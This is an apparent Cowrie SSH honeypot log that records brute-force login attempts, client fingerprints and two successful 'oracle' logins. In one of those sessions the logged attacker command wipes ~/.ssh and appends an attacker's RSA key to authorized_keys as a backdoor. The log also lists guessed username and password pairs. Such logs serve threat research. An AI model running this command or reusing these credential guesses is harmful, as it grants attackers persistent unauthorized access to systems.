{"eventid":"cowrie.login.failed","username":"root","password":"Th3Gr@ph@M@st3r","message":"login attempt [root/Th3Gr@ph@M@st3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:55.431381Z","src_ip":"192.169.202.129","session":"ba296b74fb01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":60974,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bd3f74cd212","protocol":"ssh","message":"New connection: 8.210.75.243:60974 (10.17.0.5:22) [session: 9bd3f74cd212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:55.957168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:55.964261Z","src_ip":"8.210.75.243","session":"9bd3f74cd212","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:56.497774Z","src_ip":"192.169.202.129","session":"ba296b74fb01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.1.218","src_port":41610,"dst_ip":"10.17.0.5","dst_port":22,"session":"f47cfe3d4235","protocol":"ssh","message":"New connection: 163.7.1.218:41610 (10.17.0.5:22) [session: f47cfe3d4235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:06.730942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:06.735070Z","src_ip":"163.7.1.218","session":"f47cfe3d4235","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:06.991872Z","src_ip":"163.7.1.218","session":"f47cfe3d4235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!@#QWE123qwe","message":"login attempt [ubuntu/!@#QWE123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:08.054086Z","src_ip":"163.7.1.218","session":"f47cfe3d4235","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:09.314482Z","src_ip":"163.7.1.218","session":"f47cfe3d4235","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.205.153","src_port":54094,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ecf99ba80a4","protocol":"ssh","message":"New connection: 152.32.205.153:54094 (10.17.0.5:22) [session: 7ecf99ba80a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:23.486670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:23.490539Z","src_ip":"152.32.205.153","session":"7ecf99ba80a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:23.504798Z","src_ip":"152.32.205.153","session":"7ecf99ba80a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AAAAAAAA","message":"login attempt [root/AAAAAAAA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:23.592216Z","src_ip":"152.32.205.153","session":"7ecf99ba80a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:24.607177Z","src_ip":"152.32.205.153","session":"7ecf99ba80a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.51.138","src_port":52336,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f7074129300","protocol":"ssh","message":"New connection: 147.45.51.138:52336 (10.17.0.5:22) [session: 0f7074129300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:28.123997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:28.128774Z","src_ip":"147.45.51.138","session":"0f7074129300","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:28.219003Z","src_ip":"147.45.51.138","session":"0f7074129300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.185.81","src_port":35626,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dbd534d7d56","protocol":"ssh","message":"New connection: 152.53.185.81:35626 (10.17.0.5:22) [session: 0dbd534d7d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:28.465588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:28.480186Z","src_ip":"152.53.185.81","session":"0dbd534d7d56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:28.564939Z","src_ip":"152.53.185.81","session":"0dbd534d7d56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"1234","message":"login attempt [sysadmin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:28.614712Z","src_ip":"147.45.51.138","session":"0f7074129300","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle12","message":"login attempt [oracle/oracle12] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:28.909650Z","src_ip":"152.53.185.81","session":"0dbd534d7d56","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:29.123690Z","src_ip":"152.53.185.81","session":"0dbd534d7d56","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:29.126701Z","src_ip":"152.53.185.81","session":"0dbd534d7d56","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:29.130739Z","src_ip":"152.53.185.81","session":"0dbd534d7d56","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:29.308140Z","src_ip":"152.53.185.81","session":"0dbd534d7d56","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:29.455850Z","src_ip":"152.53.185.81","session":"0dbd534d7d56","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:29.458591Z","src_ip":"152.53.185.81","session":"0dbd534d7d56","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:29.554709Z","src_ip":"152.53.185.81","session":"0dbd534d7d56","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:29.557683Z","src_ip":"152.53.185.81","session":"0dbd534d7d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.185.81","src_port":32984,"dst_ip":"10.17.0.5","dst_port":22,"session":"24d0b2d0e3aa","protocol":"ssh","message":"New connection: 152.53.185.81:32984 (10.17.0.5:22) [session: 24d0b2d0e3aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:29.637385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:29.642141Z","src_ip":"152.53.185.81","session":"24d0b2d0e3aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:29.706694Z","src_ip":"147.45.51.138","session":"0f7074129300","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:29.732390Z","src_ip":"152.53.185.81","session":"24d0b2d0e3aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:30.117841Z","src_ip":"152.53.185.81","session":"24d0b2d0e3aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44842,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3052ce0604d","protocol":"ssh","message":"New connection: 8.210.75.243:44842 (10.17.0.5:22) [session: f3052ce0604d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:30.702043Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:31.209715Z","src_ip":"152.53.185.81","session":"24d0b2d0e3aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.185.81","src_port":32990,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a857e52b6c2","protocol":"ssh","message":"New connection: 152.53.185.81:32990 (10.17.0.5:22) [session: 2a857e52b6c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:31.295110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:31.302404Z","src_ip":"152.53.185.81","session":"2a857e52b6c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:31.390760Z","src_ip":"152.53.185.81","session":"2a857e52b6c2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:31.782039Z","src_ip":"152.53.185.81","session":"2a857e52b6c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:31.882567Z","src_ip":"152.53.185.81","session":"0dbd534d7d56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:31.885685Z","src_ip":"152.53.185.81","session":"2a857e52b6c2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:32.935789Z","src_ip":"8.210.75.243","session":"f3052ce0604d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.196.150.5","src_port":36976,"dst_ip":"10.17.0.5","dst_port":22,"session":"995c67be805b","protocol":"ssh","message":"New connection: 196.196.150.5:36976 (10.17.0.5:22) [session: 995c67be805b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:35.649315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:35.653267Z","src_ip":"196.196.150.5","session":"995c67be805b","protocol":"ssh"}
